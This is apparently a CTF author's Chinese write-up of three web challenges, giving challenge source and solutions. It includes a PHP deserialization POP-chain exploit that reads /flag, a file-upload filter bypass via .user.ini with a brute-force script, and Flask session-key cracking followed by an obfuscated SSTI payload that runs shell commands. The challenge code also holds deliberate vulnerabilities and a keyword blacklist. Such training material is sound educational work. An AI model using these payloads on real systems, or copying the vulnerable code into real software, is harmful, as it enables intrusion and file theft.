MiniNK WEB 选拔题 by F12-Toy模板网

这篇具有很好参考价值的文章主要介绍了MiniNK WEB 选拔题 by F12。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

Start

除了梦想外一无所有的我们，将会和蔑视与困境做最后的斗争，这是最后一舞

N0wayBack 联合战队成立以来一直致力于信息安全技术的研究，作为联合战队活跃在各大 CTF （信息安全竞赛）赛事之中，并依靠着过硬的实力吸引了无数同样热爱安全的小伙伴。战队现有师傅20余名，特训学生10余名，包括了研、本科学生，企、事业单位员工以及网安实验室成员，内部氛围融洽，关系和谐。虽然我们可能身份各异、年龄跨岭，但在这里，我们只有一个身份，那就是热爱网安的CTFer

给MiniNK师傅出的web题，正好最近有点心得，又逢考试月，心情难免有点压抑，出题释放释放我的emo情绪。

ezpop

最近做反序列化的题真是有点多，每次都得坐会牢，新鲜的玩法暂时还没想到，就想着整点老玩法吧，字符逃逸，嗯，感觉有点简单了，配不上Mini师傅的身份，那浅浅加个原生类利用，就当做mini师傅的签到题了。首先先手撸php代码，过程有点曲折，直接放源码了:

<?php 
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $name;
    public $a;
    public $b;
    public function __construct(){
        $this->name = '学霸';
    }
    public function Eval(){
        if($this->name != '学渣'){
            die('不是学渣不配拿flag');
        } else {
            echo new $this->a($this->b);
        }
    }
    public function __call($a,$b){
        $this->Eval();
    }
}
class B{
    public $en;
    public $test;
    public function __construct($en){
        $this->en = $en;
    }
    public function __destruct(){
        echo $this->test;
    }
}
class C{
    public $good;
    public function __toString(){
        $this->good->havefun();
    }
}
if(isset($_POST['p'])){
    $p = $_POST['p'];
    $p = preg_replace('/学渣/i','学霸', $p);
    $p = preg_replace('/heizi/i','lanqiu', $p);
    echo unserialize($p);
}
?>

非常简单的一道反序列化，坏了，怎么长的像篮球杯，感觉有点疯魔了，算了，就这样吧，还是有差别的。链子很简单，B::__destruct() -> C::__toString() -> A::__call -> A::Eval,进入到Eval,我们就能利用原生类读取文件了。这里需注意的是学渣被替换成学霸导致无法进入Eval，我们可以利用十六进制来绕过这个替换，S下的内容会以十六进制的形式被识别。

链子exp如下:

<?php
class A{
    public $name="学渣";
    public $a;
    public $b;
}
class B{
    public $en = 'heizi';
    public $test;
}
class C{
    public $good;
}
$a = new A;
$b = new B;
$c = new C;
$b->test = $c;
$b->en = 'heiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheizi";s:4:"test";O:1:"C":1:{s:4:"good";O:1:"A":3:{s:4:"name";S:6:"\e5\ad\a6\e6\b8\a3";s:1:"a";s:13:"SplFileObject";s:1:"b";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}}}';
$c->good = $a;
$a->a = 'SplFileObject';
$a->b = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize($b);
?>

不知所措

本来想出一个实战中遇见的伪静态页面注入，但实现起来有点困难，火烧眉毛了，就准备换个题型出，想了半天打算出个文件上传，但又不能过于简单，突然灵光一闪，就有了这题

#index.php
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

#upload.php
<?php
    highlight_file(__FILE__);
    $file = $_FILES['file'];
    if(!$file){
        exit("请勿上传空文件");
    }
    $dir = "upload/";
    $name = $_FILES['file']['name'];
    $tmp = $_FILES['file']['tmp_name'];
    $ext = substr(strrchr($name, '.'), 0);
    if(preg_match('/p|h|s|[0-9]/i',$ext)){
        $ext = ".jpg";
        $name = time().$ext;
    }
    $path = $dir.$name;
    move_uploaded_file($tmp, $path);
?>

简单的做了个过滤，会将上传的文件名替换成时间戳+.jpg，但是这段代码逻辑存在些缺陷，如果我们上传.user.ini就会是原样上传，这里考查选手编写脚本爆破时间戳文件名的能力和意识到.user.ini的存在

import requests
import time
url = "http://192.168.13.83:9999/upload.php"
file = open('a.php', 'r')
r = requests.post(url, files={"file": file})
print(str(time.time())[:10])

非常的简单，这里时间戳跟上传的居然完全一样，难度再度下降，早知道设置个sleep了

无中生有

江郎才尽了，没有一丝丝灵感。突然想到一个考点见的很少，flask seesion，大家都熟透了，大部分似乎都是找app.secret ,很少见到来爆破secret的，嗯，想想就一阵激动。这里就不得不提一个工具: flask-unsign, 这个被打包成了pip，安装直接pip install flask-unsign ,完全可以当作flask-session-manager的替代品。爆破命令：

flask-unsign --unsign --cookie="Your_session"

爆出key: root，题目流程很简单，伪造session成admin后我们就能使用ssti这个点了，ssti当然差不多拉到最高level的过滤了，老生常谈，也是考一个比较偏僻的特性

'%c%c%c%c········'|format(99,99,99,98·······)

很明显，format(99)后的字符填充到%c处，这样可以绕过大部分对于关键字的过滤了。过滤了. 用attr来拼接，究极payload就是：

{%print%09config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'%2b's')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat%09/f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}

利用的类很多，并不局限于我这一种。这里是题目源码，写的很草率，师傅们轻喷：

#app.py
from flask import Flask, request, render_template, session, render_template_string
app = Flask(__name__)
app.secret_key = "root"

@app.route('/')
def index():
    session['username'] = 'guest'
    return render_template_string('<!-- /hello 下有好东西给你康-->')
@app.route('/hello', methods=['GET'])
def hello():
    name = request.args.get('name')
    black_list = ['\"', '__', ' ', '.', 'chr', '[', '{{', '}}', ']', 'os', 'popen', 'class', 'subclass', '\\x', 'import', 'lipsum', 'globals', 'init']
    if name:
        for i in black_list:
            if i in name:
                return render_template_string('<script>alert("hacker!!!")</script>')

        if session.get('username') == 'admin':
            context = render_template('templates.html')
            context = context.format(name)
            return render_template_string(context)
        else:
            return "只有admin才有资格使用这个功能哦"
    else:
        return render_template_string('<h1>Hello 旅行者</h1>')
if __name__ == '__main__':
    app.run(host="0.0.0.0")

<!-- templates.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>HELLO</title>
</head>
<body>
Hello {}
</body>
</html>

#Dockerfile
# 基于的基础镜像，这里使用python，开发版本是 3.9.2 ，基础镜像也写3.9.2
FROM python:3.9.2
# /app 是要部署到服务器上的路径
WORKDIR /app
# Docker 避免每次更新代码后都重新安装依赖,先将依赖文件拷贝到项目中
COPY requirements.txt requirements.txt
# 执行指令，安装依赖
RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
# COPY指令和ADD指令功能和使用方式类似。只是COPY指令不会做自动解压工作。
# 拷贝项目文件和代码
COPY . .
# 执行指令，字符串间是以空格间隔
CMD ["gunicorn", "app:app", "-c", "./gunicorn.conf.py"]

requirements.txt

gunicorn
gevent
flask

#gunicorn.conf.py
workers = 5    # 定义同时开启的处理请求的进程数量，根据网站流量适当调整
worker_class = "gevent"   # 采用gevent库，支持异步处理请求，提高吞吐量
bind = "0.0.0.0:80" #设置端口80，这里注意要设置成0.0.0.0，如果设置为127.0.0.1的话就只能本地访问服务了